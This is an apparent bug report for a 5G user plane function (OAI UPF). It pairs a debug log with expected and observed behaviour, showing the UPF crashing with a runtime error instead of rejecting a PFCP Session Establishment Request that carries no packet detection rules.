[2025-11-05 09:54:15.071] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-05 09:54:15.071] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-05 09:54:15.071] [upf_app] [debug] Adding Reference Points to m_upf_interface Map
[2025-11-05 09:54:15.071] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 09:54:15.071] [upf_app] [info] Reference Point N3 Added to m_upf_interface Map
[2025-11-05 09:54:15.071] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 09:54:15.071] [upf_app] [info] Reference Point N6 Added to m_upf_interface Map
[2025-11-05 09:54:15.071] [upf_app] [debug] The key is updated in the map: m_upf_interfaces
[2025-11-05 09:54:15.071] [upf_app] [info] Reference Point N4 Added to m_upf_interface Map
[2025-11-05 09:54:15.071] [upf_app] [debug] Link GTP XDP Section to interface eth0
[2025-11-05 09:54:15.071] [upf_app] [info] BPF program xdp_handle_uplink hooked in eth0 XDP interface
[2025-11-05 09:54:15.072] [upf_app] [debug] Link Non-GTP XDP Section to interface eth1
[2025-11-05 09:54:15.072] [upf_app] [debug] QoS enforcement is disabled in the configuration.
[2025-11-05 09:54:15.072] [upf_app] [info] BPF program xdp_handle_downlink hooked in eth1 XDP interface
[2025-11-05 09:54:15.072] [upf_app] [debug] The key is updated in the map: framed_routing_flag
[2025-11-05 09:54:24.936] [upf_app] [info] TIME-OUT event timer id 1
[2025-11-05 09:54:24.936] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 09:54:24.936] [upf_app] [info] Send NF Update to NRF
[2025-11-05 09:54:24.936] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 09:54:24.936] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:54:24.936] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:54:24.988] [upf_app] [info] Got successful response from NRF
[2025-11-05 09:54:24.988] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 09:54:34.989] [upf_app] [info] TIME-OUT event timer id 2
[2025-11-05 09:54:34.989] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 09:54:34.989] [upf_app] [info] Send NF Update to NRF
[2025-11-05 09:54:34.989] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 09:54:34.989] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:54:34.989] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:54:34.990] [upf_app] [info] Got successful response from NRF
[2025-11-05 09:54:34.990] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 09:54:44.990] [upf_app] [info] TIME-OUT event timer id 3
[2025-11-05 09:54:44.990] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 09:54:44.990] [upf_app] [info] Send NF Update to NRF
[2025-11-05 09:54:44.990] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 09:54:44.990] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:54:44.990] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:54:44.991] [upf_app] [info] Got successful response from NRF
[2025-11-05 09:54:44.991] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 09:54:54.992] [upf_app] [info] TIME-OUT event timer id 4
[2025-11-05 09:54:54.992] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 09:54:54.992] [upf_app] [info] Send NF Update to NRF
[2025-11-05 09:54:54.992] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 09:54:54.992] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:54:54.992] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:54:54.993] [upf_app] [info] Got successful response from NRF
[2025-11-05 09:54:54.993] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 09:55:04.993] [upf_app] [info] TIME-OUT event timer id 5
[2025-11-05 09:55:04.993] [upf_app] [debug] Send Heartbeat to NRF
[2025-11-05 09:55:04.993] [upf_app] [info] Send NF Update to NRF
[2025-11-05 09:55:04.993] [upf_app] [debug] Send NF Update to NRF (Msg body [{"op":"replace","path":"/nfStatus","value":"REGISTERED"}])
[2025-11-05 09:55:04.993] [upf_app] [debug] Send NF Update to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:55:04.993] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:55:04.994] [upf_app] [info] Got successful response from NRF
[2025-11-05 09:55:04.994] [upf_app] [debug] Set a timer to the next Heart-beat (10)
[2025-11-05 09:55:08.526] [upf_n4 ] [info] handle_receive(25 bytes)
[2025-11-05 09:55:08.528] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-05 09:55:08.729] [upf_n4 ] [info] handle_receive(110 bytes)
[2025-11-05 09:55:08.730] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x0
[2025-11-05 09:55:08.730] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-05 09:55:08.730] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-11-05 09:55:08.730] [upf_app] [debug] sessionManager::createBpfSession() seid 0x0
[2025-11-05 09:55:08.730] [upf_app] [error] No pdr found in session seid 0x0
[2025-11-05 09:55:08.738] [upf_app] [debug] There are some programs in LINKED state
[2025-11-05 09:55:08.738] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
[2025-11-05 09:55:08.740] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-05 09:55:08.740] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-05 09:55:08.740] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-05 09:55:08.740] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-05 09:55:08.741] [system ] [info] Caught signal 11
[2025-11-05 09:55:08.741] [upf_app] [debug] Send NF De-registration to NRF
[2025-11-05 09:55:08.741] [upf_app] [info] Send NF De-register to NRF
[2025-11-05 09:55:08.741] [upf_app] [debug] Send NF De-register to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:55:08.741] [upf_app] [debug] Send a simple HTTP request
terminate called after throwing an instance of 'std::runtime_error'
what(): Session creation failed: No pdr found.
[2025-11-05 09:55:08.744] [upf_app] [info] Got successful response from NRF de-registration
[2025-11-05 09:55:08.744] [common] [info] Waiting ITTI tasks closed
[2025-11-05 09:55:08.744] [asc_cmd] [info] Received terminate message
[2025-11-05 09:55:08.744] [upf_n4 ] [info] Received terminate message
[2025-11-05 09:55:08.744] [upf_app] [info] Received terminate messageExpected Behaviour
UPF must reject the malformed Session Establishment Request and respond with an appropriate PFCP Cause (e.g., mandatory IE missing / rule creation/modification failure).
Observed Behaviour
UPF accepts the request for processing, logs No PDR found, proceeds into the BPF program unlinking, then throws std::runtime_error and crashes.
Edited by Ziyu Lin